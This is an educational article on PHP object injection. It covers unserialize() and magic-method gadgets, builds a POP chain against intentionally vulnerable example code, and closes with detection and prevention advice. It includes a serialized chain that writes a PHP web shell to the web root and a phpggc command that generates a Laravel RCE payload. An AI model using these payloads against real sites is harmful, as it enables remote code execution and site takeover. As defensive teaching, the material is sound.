PHP object injection sits in the same family as Java and Python deserialization vulnerabilities — all share the same root cause: an application deserializes attacker-supplied data, which allows the attacker to control the state of arbitrary objects. In PHP, the vulnerability flows through unserialize() and a set of magic methods that the language automatically calls at specific points in an object’s lifecycle.
The practical impact depends entirely on what classes are loaded when unserialize() runs. If the application (or any library it imports) contains a class with dangerous magic method implementations, an attacker can chain those classes together in a Property-Oriented Programming (POP) chain that produces file write, code execution, or SSRF.
The Serialization Format
PHP’s serialize() function produces a compact, human-readable byte string representing an object’s state:
class User {
public $username;
public $role;
public function __construct($username, $role) {
$this->username = $username;
$this->role = $role;
}
}
$user = new User("alice", "viewer");
echo serialize($user);
// O:4:"User":2:{s:8:"username";s:5:"alice";s:4:"role";s:6:"viewer";}
The format is O:<classname_length>:"<classname>":<property_count>:{<properties>}. An attacker who controls this string can:
- Change property values (e.g.,
"role";s:5:"admin"for privilege escalation) - Specify a completely different class name to instantiate that class with controlled properties
- Craft nested objects that trigger a chain of magic method calls
Magic Methods as Gadgets
PHP calls specific magic methods automatically at defined lifecycle events. These are the gadgets that make POP chains possible:
| Method | When called |
|---|---|
__wakeup() | Immediately after unserialize() |
__destruct() | When the object goes out of scope (end of script, unset) |
__toString() | When the object is cast to string (print, echo, string concatenation) |
__get($name) | On access to undefined or inaccessible property |
__set($name, $value) | On write to undefined or inaccessible property |
__call($name, $args) | On call to undefined or inaccessible method |
__invoke() | When object is called as a function |
The exploitation flow typically starts at __wakeup() or __destruct() — both are triggered automatically by unserialize() without any further user interaction.
A Minimal POP Chain Example
Consider this intentionally vulnerable code (for educational purposes):
class Logger {
public $log_file;
public $log_data;
public function __destruct() {
// Writes log on object destruction
file_put_contents($this->log_file, $this->log_data);
}
}
class Formatter {
public $formatter;
public function __toString() {
// Calls a callable stored in $formatter
return call_user_func($this->formatter);
}
}
class DataLoader {
public $data_source;
public function __wakeup() {
// Logs on wakeup, casting data_source to string
echo "Loaded: " . $this->data_source;
}
}
// Vulnerable endpoint
$data = unserialize($_COOKIE['session_data']);
An attacker builds a chain:
DataLoader::__wakeup()fires immediately — it concatenates$this->data_sourcewith a string, triggering__toString()on any object assigned todata_source.- They assign a
Formatterobject toDataLoader::$data_source.Formatter::__toString()callscall_user_func($this->formatter). - They set
Formatter::$formattertosystemand pass it a command as an argument — or chain further to reach file writes.
Alternatively via Logger::__destruct(), they can write arbitrary content to any path the web server user can write to:
// PHP serialized POP chain for file write via Logger
$chain = new Logger();
$chain->log_file = '/var/www/html/shell.php';
$chain->log_data = '<?php system($_GET["cmd"]); ?>';
echo urlencode(serialize($chain));
// O:6:"Logger":2:{s:8:"log_file";s:26:"/var/www/html/shell.php";s:8:"log_data";s:30:"<?php system($_GET["cmd"]); ?>";}
Real-World Exploitation: Framework Gadget Chains
The power of POP chains in real applications is that attackers don’t need gadgets in the application code itself — they need gadgets anywhere in the PHP class autoload path. Popular frameworks and libraries contain gadget classes that have been documented and weaponised:
Laravel: The Illuminate\Broadcasting\PendingBroadcast class’s __destruct() dispatches a job, and several related classes in the jobs system provide RCE gadgets. Publicly documented chains exist for Laravel 5.x through 11.x.
Symfony: Gadget chains in Symfony\Component\Validator and the Debug component have been publicly documented. The Symfony TypedValues serializer has had specific chain disclosures.
Guzzle: The HTTP client library’s CookieJar class contains a __destruct() that writes to a file, making it useful as the final stage in chains targeting file write.
Tools like PHPGGC (PHP Generic Gadget Chains) maintain a library of known gadget chains for popular frameworks and can generate ready-to-use serialized payloads:
# Generate a Laravel RCE payload targeting a specific version
phpggc Laravel/RCE1 system "id" -b
Finding the Vulnerability
In code review, search for unserialize() receiving any data that originates outside the application:
# Find unserialize calls in PHP files
grep -rn "unserialize(" --include="*.php" . | grep -v "//.*unserialize"
# More specific: unserialize with $_* superglobals
grep -rn "unserialize(\$_" --include="*.php" .
grep -rn "unserialize(base64_decode" --include="*.php" .
Common sources of attacker-controlled data passed to unserialize():
- Cookie values (base64-decoded)
- GET/POST parameters
- API request body fields
- Data read from database columns (if that data was originally written by a user)
- Redis/Memcached session data
Prevention
1. Never pass user-controlled data to unserialize()
The correct fix is to avoid deserializing untrusted data entirely. For session management, use PHP’s built-in session handler which manages serialization internally. For data exchange with external systems, use JSON (json_decode()) rather than serialized PHP — JSON has no object instantiation side effects.
// WRONG: Deserializing user-controlled cookie
$data = unserialize(base64_decode($_COOKIE['user_prefs']));
// RIGHT: Decode JSON, validate, use plain arrays
$data = json_decode(base64_decode($_COOKIE['user_prefs']), true);
if (!is_array($data) || !isset($data['theme'])) {
$data = ['theme' => 'default'];
}
2. Use allowed_classes when you must deserialize
PHP 7.0+ provides an allowed_classes option to restrict which classes can be instantiated during deserialization:
// Only allow deserialization of specific, known-safe classes
$allowed = ['UserPreferences', 'CartItem'];
$data = unserialize($input, ['allowed_classes' => $allowed]);
// Or deny all class instantiation (safe for plain data)
$data = unserialize($input, ['allowed_classes' => false]);
This prevents gadget chain exploitation by refusing to instantiate any class not in the allowlist — but it does not prevent property injection attacks on the allowed classes themselves.
3. Sign serialized data
If you must use unserialize() with PHP sessions or internal data, wrap the payload with an HMAC:
function safe_serialize($data, $secret) {
$payload = serialize($data);
$mac = hash_hmac('sha256', $payload, $secret);
return $mac . ':' . base64_encode($payload);
}
function safe_unserialize($input, $secret) {
[$mac, $encoded] = explode(':', $input, 2);
$payload = base64_decode($encoded);
if (!hash_equals(hash_hmac('sha256', $payload, $secret), $mac)) {
throw new RuntimeException('Invalid signature');
}
return unserialize($payload, ['allowed_classes' => false]);
}
4. SAST tooling
Configure static analysis to flag unserialize() calls. Psalm, PHPStan, and Semgrep all have rules for this. In Semgrep:
rules:
- id: php-unsafe-unserialize
patterns:
- pattern: unserialize(...)
- pattern-not: unserialize("...")
message: "unserialize() called with non-literal input — verify the source is trusted or use allowed_classes"
languages: [php]
severity: WARNING
PHP object injection has caused significant breaches across PHP applications including content management systems, e-commerce platforms, and enterprise applications. The fix is straightforward: stop passing user-controlled data to unserialize(). The gadget chain complexity is an attacker problem, not a defender problem — eliminate the vulnerability and no chain ever executes.